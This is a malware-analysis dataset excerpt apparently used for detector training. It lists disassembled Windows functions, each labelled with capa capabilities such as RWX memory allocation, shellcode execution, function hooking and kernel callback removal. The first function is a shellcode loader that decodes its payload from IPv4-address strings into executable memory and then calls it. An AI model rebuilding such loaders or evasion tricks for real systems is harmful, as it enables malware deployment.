joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x14000a018]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea rdx, [0x140001190]
mov ecx, 1
mov qword [0x14000ae98], rax
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xor edi, edi
lea r8, [0x140001650]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x3a0
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.shellCodeAddr
mov qword [0x14000ae78], rax
call fcn.1400016d0
mov rcx, rax
lea rdx, [0x140001020]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x14000ae78]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140003910
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140003e30
lea rdx, [0x140001040]
lea rcx, [0x14000aea0]
call fcn.140003110
call fcn.140003980
call fcn.140003910
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140003e30
lea rdx, [0x1400010b0]
lea rcx, [0x14000aea8]
call fcn.140003110
call fcn.140003980
mov rsi, qword [0x14000ae78]
lea rbx, str.252.72.131.228
mov qword [rsp + 0x30], rdi
lea rbp, [0x14000a790]
nop word [rax + rax]
mov rcx, qword [rbx]
lea r8, [rsp + 0x30]
movsxd r9, edi
xor edx, edx
add r9, rsi
call qword [sym.imp.ntdll.dll_RtlIpv4StringToAddressA]
test eax, eax
js 0x1400014dc
add edi, 4
add rbx, 8
cmp rbx, rbp
jl 0x1400014b0
call qword [0x14000ae78]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140005330
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140001500
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
nop word [rax + rax]
mov rcx, qword [0x14000ae98]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [0x14000ae90]
lea r9, [0x14000ae80]
mov rdx, qword [0x14000ae88]
add rbx, 0x10000
mov rcx, rbx
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [0x14000ae88]
xor edx, edx
xor r9d, r9d
test r8, r8
je 0x1400015d3
cmp r8, 0x40
jb 0x1400015d3
movdqa xmm2, xmmword [0x140008420]
lea rcx, [rbx + 0x20]
mov r10, r8
and r10, 0xffffffffffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x20]
add edx, 0x40
lea rcx, [rcx + 0x40]
movdqa xmm1, xmm2
movsxd rax, edx
pxor xmm0, xmm2
add r9, 0x40
movdqu xmmword [rcx - 0x60], xmm0
movdqu xmm0, xmmword [rcx - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x40], xmm1
movdqu xmm0, xmmword [rcx - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x30], xmm0
cmp rax, r10
jb 0x140001580
movsxd rax, edx
cmp rax, r8
jae 0x1400015f1
lea rax, [r9 + rbx]
nop
xor byte [rax], 0x10
lea rax, [rax + 1]
inc edx
movsxd rcx, edx
cmp rcx, r8
jb 0x1400015e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400083d8]
call fcn.1400016d0
mov rcx, rax
lea rdx, [0x140001020]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000ae98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x140001510
Function at 0x140001a60
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.140001cb0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x140001b7a
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x140001ac4
mov rax, qword [0x14000a008]
cmp qword [rsp + 0x20], rax
ja 0x140001ac4
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140001a86
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x140001af5
jmp 0x140001b7a
cmp dword [rsp + 0x50], 0x10000
jne 0x140001b5d
cmp qword [rsp + 0x48], 0x10000
jb 0x140001b5d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001b3b
mov rax, qword [rsp + 0x28]
jmp 0x140001b7c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140001b4b
xor eax, eax
jmp 0x140001b7c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140001b75
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.140001cb0
mov qword [rsp + 0x20], rax
jmp 0x140001a86
xor eax, eax
add rsp, 0x68
ret

Function at 0x140001b90
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.140001cf0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x140001ca6
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x140001beb
mov rax, qword [0x14000a008]
cmp qword [rsp + 0x20], rax
ja 0x140001beb
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140001bad
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x140001c1c
jmp 0x140001ca6
cmp dword [rsp + 0x50], 0x10000
jne 0x140001c84
cmp qword [rsp + 0x48], 0x10000
jb 0x140001c84
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001c62
mov rax, qword [rsp + 0x28]
jmp 0x140001ca8
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140001c72
xor eax, eax
jmp 0x140001ca8
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140001ca1
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140001cf0
mov qword [rsp + 0x20], rax
jmp 0x140001bad
xor eax, eax
add rsp, 0x68
ret
Function at 0x140001d40
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.1400022d0
mov qword [rsp + 0x28], 0
cmp qword [0x14000a848], 0
jne 0x140001d88
cmp qword [0x14000a840], 0
je 0x140001d88
mov rax, qword [0x14000a840]
mov qword [0x14000a848], rax
cmp qword [0x14000a848], 0
je 0x140001e2e
mov rax, qword [0x14000a848]
cmp qword [rax + 0x10], 0
je 0x140001e2e
mov rax, qword [0x14000a848]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x140001e2e
mov rax, qword [0x14000a848]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x140001e2e
mov rax, qword [0x14000a848]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x140001df4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x140001dfb
xor eax, eax
jmp 0x140001fa5
mov rax, qword [0x14000a848]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rsp + 0x28]
jmp 0x140001fa5
mov rax, qword [0x14000a840]
mov qword [0x14000a848], rax
jmp 0x140001e50
mov rax, qword [0x14000a848]
mov rax, qword [rax + 8]
mov qword [0x14000a848], rax
cmp qword [0x14000a848], 0
je 0x140001e9d
cmp qword [0x14000a848], 0
je 0x140001e9b
mov rax, qword [0x14000a848]
cmp qword [rax + 0x10], 0
je 0x140001e9b
mov rax, qword [0x14000a848]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x140001e9b
mov rax, qword [0x14000a848]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x140001e9b
jmp 0x140001dcc
jmp 0x140001e3e
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140001fb0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140001fa3
mov rax, qword [rsp + 0x48]
mov qword [0x14000a848], rax
mov rax, qword [0x14000a848]
mov dword [rax], 0x52727464
mov rax, qword [0x14000a848]
mov qword [rax + 0x10], 0
mov rax, qword [0x14000a848]
mov rcx, qword [0x14000a840]
mov qword [rax + 8], rcx
mov rax, qword [0x14000a848]
mov qword [0x14000a840], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x14000a848]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x140001f54
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x140001f8e
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x140001f4a
mov rax, qword [0x14000a848]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x140001dcc
xor eax, eax
add rsp, 0x58
ret
Function at 0x140002cc0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140002d07
xor al, al
jmp 0x140002da9
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x140002d31
xor al, al
jmp 0x140002da9
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x140002da1
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x140002da1
mov al, 1
jmp 0x140002da9
jmp 0x140002da7
xor al, al
add rsp, 0x78
ret

Function at 0x1400030b0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14000a840]
mov qword [rsp + 0x28], rax
jmp 0x1400030d0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400030ff
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1400030fd
call sub.KERNEL32.dll_GetLastError
jmp 0x140003101
jmp 0x1400030c2
xor eax, eax
add rsp, 0x38
ret
Function at 0x1400037c0
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x14000a858], eax
je 0x1400037db
mov eax, 0x10dd
jmp 0x140003900
mov rax, qword [0x14000a870]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140003885
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x140003850
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x140003850
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.140002410
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.140005600
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x1400037e7
mov qword [0x14000a870], 0
call fcn.140002e70
mov rax, qword [0x14000a868]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400038e9
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.140005600
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x1400038a1
mov qword [0x14000a868], 0
mov dword [0x14000a858], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x140003e30
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x14000a85c], 0
je 0x140003e4d
mov eax, dword [0x14000a85c]
jmp 0x140003f13
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x140003e60
xor eax, eax
jmp 0x140003f13
mov ecx, 0x10
call fcn.1400055c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140003ece
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x140003eb3
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.140005600
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x14000a85c], eax
mov qword [0x14000a860], 0
mov eax, dword [rsp + 0x20]
jmp 0x140003f13
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x140003ee8
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x140003e89
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x14000a868]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x14000a868], rax
xor eax, eax
add rsp, 0x48
ret

Function at 0x14000a394
Capabilities:
Allocate or change rwx memory
Attach user process memory
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [0x140029048]
test rcx, rcx
je 0x14000a3ac
call qword [sym.imp.ntoskrnl.exe_ObUnRegisterCallbacks]
mov rcx, qword [0x140029040]
test rcx, rcx
je 0x14000a3be
call qword [sym.imp.ntoskrnl.exe_ObUnRegisterCallbacks]
lea rbx, [0x140029100]
jmp 0x14000a3ef
cmp qword [rax + 8], rbx
jne 0x14000a401
mov rcx, qword [rax]
cmp qword [rcx + 8], rax
jne 0x14000a401
mov qword [0x140029100], rcx
mov edx, 0x78787878
mov qword [rcx + 8], rbx
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, qword [0x140029100]
cmp rax, rbx
jne 0x14000a3c7
add rsp, 0x20
pop rbx
ret
mov ecx, 3
int 0x29
Function at 0x140762058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407621df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140762089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14076206f
add dl, dl
jne 0x140762096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407620f6
xor eax, eax
add dl, dl
jne 0x1407620a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407621ad
add dl, dl
jne 0x1407620b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407620c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407620d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407620dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407620ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14076207e
mov eax, 1
add dl, dl
jne 0x140762106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140762113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407620fb
sub eax, ebx
mov ebx, 1
jne 0x14076214c
mov ecx, 1
add dl, dl
jne 0x14076212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14076213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140762123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140762168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140762175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14076215d
cmp eax, 0x7d00
jae 0x14076219b
cmp eax, 0x500
jb 0x140762196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076207e
cmp eax, 0x7f
ja 0x14076219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407621d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14076207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004e30
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140046040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rax, qword [0x1400490e0]
test rax, rax
jne 0x140004e61
lea edx, [rax + 0x18]
lea ecx, [rax + 1]
call fcn.140011830
mov qword [0x1400490e0], rax
cmp dword [rax + 8], 0
jne 0x140004e9f
lea rcx, [fcn.140004e30]
xor r9d, r9d
mov qword [rax + 0x10], rcx
lea r8, [0x140004da0]
lea rax, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rax, qword [0x1400490e0]
inc dword [rax + 8]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000ae20
add rsp, 0x48
ret

Function at 0x140005b40
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140046040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rax, qword [0x1400490f0]
test rax, rax
je 0x140005bb2
cmp dword [rax + 8], 0
jne 0x140005b9d
lea rcx, [fcn.140005b40]
xor r9d, r9d
mov qword [rax + 0x10], rcx
lea r8, [0x140005af0]
lea rax, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rax, qword [0x1400490f0]
inc dword [rax + 8]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000ae20
add rsp, 0x48
ret
xor ecx, ecx
call fcn.140016948
int3

Function at 0x140009df8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140009e26
xor eax, eax
jmp 0x140009f0c
cmp qword [rcx + 0x68], 0
je 0x140009e37
call fcn.140009f28
jmp 0x140009f0c
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140009e4e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140009e50
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140009e82
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14002d810
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140009f06
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140009eb9
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140009ee2
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400182a4
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140009f06
cmp rsi, rbx
ja 0x140009ec0
test rsi, rsi
je 0x140009f06
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400182a4
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000bbf4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bc3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bc3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bc3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bc3e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bc3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bc40
xor al, al
add rsp, 0x28
ret

Function at 0x140016948
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400167b3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400167b3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400167b3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400167b3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400167b3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400167b3
cmp dword [rcx + 0xf8], 0
je 0x1400167b3
mov ecx, ebx
call fcn.140016864
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140016640
nop
cmp dword [rbp + 0x20], 0
je 0x140016801
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001680c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140016744